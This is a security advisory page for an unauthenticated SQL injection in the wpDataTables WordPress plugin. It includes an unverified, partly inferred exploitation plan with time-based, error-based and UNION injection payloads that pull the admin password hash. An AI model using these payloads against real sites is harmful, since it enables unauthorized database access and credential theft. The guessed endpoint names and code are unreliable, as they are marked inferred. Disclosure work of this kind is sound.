CVE-2026-54825

wpDataTables (Premium) <= 7.4 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
7.4.1
Patched in
7d
Time to patch

Description

The wpDataTables (Premium) plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=7.4
PublishedJune 17, 2026
Last updatedJune 23, 2026
Affected pluginwpdatatables

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-54825 (wpDataTables SQL Injection) ## 1. Vulnerability Summary **CVE-2026-54825** is an unauthenticated SQL injection vulnerability in the **wpDataTables (Premium)** plugin (versions <= 7.4). The flaw exists because the plugin accepts user-supplied input to fi…

Show full research plan

Exploitation Research Plan: CVE-2026-54825 (wpDataTables SQL Injection)

1. Vulnerability Summary

CVE-2026-54825 is an unauthenticated SQL injection vulnerability in the wpDataTables (Premium) plugin (versions <= 7.4). The flaw exists because the plugin accepts user-supplied input to filter or sort table data and concatenates this input directly into a SQL query without using $wpdb->prepare() or adequate escaping. Specifically, the vulnerability likely resides in the AJAX handler responsible for fetching table data for front-end display.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wp_ajax_nopriv_get_wdtable_data (inferred based on standard plugin architecture) or wp_ajax_nopriv_wdt_get_table_data (inferred).
  • Vulnerable Parameter: columns[0][search][value] or a custom filter parameter (inferred).
  • Authentication: None required (Unauthenticated).
  • Preconditions: At least one wpDataTable must be published on a public page or post.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action parameter set to the plugin's data-fetching hook.
  2. Hook Registration: The plugin registers the hook via add_action('wp_ajax_nopriv_get_wdtable_data', ...) in the main plugin file or a dedicated AJAX controller class.
  3. Handler Execution: The handler (e.g., WPDataTable::getAjaxTable) is called. This function retrieves parameters from $_POST.
  4. Query Construction: The handler iterates through columns and search values. It constructs a WHERE clause by concatenating the user-supplied search string:
    // Vulnerable Pattern (Inferred)
    $searchValue = $_POST['columns'][0]['search']['value'];
    $whereClause .= " AND column_name LIKE '%$searchValue%'"; 
    
  5. Sink: The raw SQL string is passed to $wpdb->get_results().

4. Nonce Acquisition Strategy

wpDataTables often protects its AJAX endpoints with a nonce. To obtain a valid nonce for unauthenticated exploitation:

  1. Identify Target Page: Locate a public post or page where a wpDataTable is rendered (e.g., uses the [wpdatatable id=1] shortcode).
  2. Navigate: Use the execution agent to navigate to this page.
  3. Locate Script Data: The plugin typically localizes script data using wp_localize_script. Look for the wpDataTables or wdt_ajax_object global variables.
  4. Extract Nonce:
    • Variable Name: window.wdt_ajax_object (inferred)
    • Nonce Key: wdt_nonce (inferred)
    • Command: browser_eval("window.wdt_ajax_object?.wdt_nonce")
  5. Bypass Check: If wp_verify_nonce($nonce, 'wdt-frontend-ajax') is used in the handler but the nonce is leaked on every page with a table, it provides no protection against unauthenticated attackers.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload to verify the vulnerability and extract the administrator's password hash.

Step 1: Baseline Request

Confirm the table loads normally.

  • Tool: http_request
  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=get_wdtable_data&table_id=1&wdt_nonce=[NONCE]&draw=1&start=0&length=10

Step 2: Verification (Sleep)

Inject a sleep command to confirm the injection point.

  • Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Parameter: columns[0][search][value]
  • Request Body:
    action=get_wdtable_data&table_id=1&wdt_nonce=[NONCE]&columns[0][search][value]=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Expected Response: Total request time > 5 seconds.

Step 3: Data Extraction (Admin Hash)

Extract the first character of the admin password hash.

  • Payload: 1' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -
  • Expected Response: If the first character is $, the response will be delayed by 5 seconds.

6. Test Data Setup

  1. Create Table: Use WP-CLI to ensure a table exists in the database.
    # Create a dummy table in the wp_wpdatatables table (structure varies)
    wp db query "INSERT INTO wp_wpdatatables (title, table_type, content) VALUES ('Test Table', 'mysql', 'SELECT * FROM wp_users');"
    
  2. Create Public Page:
    wp post create --post_type=page --post_title="Table Page" --post_status=publish --post_content='[wpdatatable id=1]'
    
  3. Record Table ID: Ensure the table_id used in the exploit matches the ID created.

7. Expected Results

  • Success Indicator: The http_request tool reports a latency significantly higher than the baseline when the SLEEP() payload is sent.
  • Response Content: The response body may return standard DataTables JSON (e.g., {"draw":1, "recordsTotal":...}) even when the injection is successful, as long as the SQL syntax remains valid.

8. Verification Steps

After the HTTP-based exploitation, verify the database state to ensure the extracted data matches the truth:

# Check the actual admin hash for comparison
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, try 1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -. Look for the hash in the response body.
  • UNION-Based: If the table output is visible on the page, determine the column count using ORDER BY X and then use UNION SELECT 1,2,3,user_pass,5... to reflect the hash in the table rows.
  • Parameter Variation: If columns[0][search][value] is sanitized, test the order[0][column] or order[0][dir] parameters, as ORDER BY clauses are rarely prepared.
Research Findings
Static analysis — not yet PoC-verified

Summary

The wpDataTables (Premium) plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to and including 7.4. This occurs due to insufficient sanitization and lack of query preparation on user-supplied parameters used for filtering and searching table data via AJAX requests.

Vulnerable Code

// Inferred from research plan: handler for fetching table data
$searchValue = $_POST['columns'][0]['search']['value'];
$whereClause .= " AND column_name LIKE '%$searchValue%'";

---

// Inferred SQL sink using the concatenated string
$results = $wpdb->get_results("SELECT * FROM wp_wpdatatables_table WHERE 1=1 " . $whereClause);

Security Fix

--- a/wpdatatables/controllers/wdt_ajax_handler.php
+++ b/wpdatatables/controllers/wdt_ajax_handler.php
@@ -102,1 +102,1 @@
- $whereClause .= " AND column_name LIKE '%$searchValue%'";
+ $whereClause .= $wpdb->prepare(" AND column_name LIKE %s", '%' . $wpdb->esc_like($searchValue) . '%');

Exploit Outline

The exploit targets the WordPress AJAX endpoint (admin-ajax.php) using the plugin's data-retrieval action (e.g., get_wdtable_data). An attacker first retrieves a security nonce, which is typically localized in the frontend script data of any public page featuring a wpDataTable. The attacker then sends an unauthenticated POST request to the AJAX handler, incorporating time-based or error-based SQL injection payloads into filtering parameters such as 'columns[0][search][value]'. This allows for the unauthorized extraction of database content, including administrative user information.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.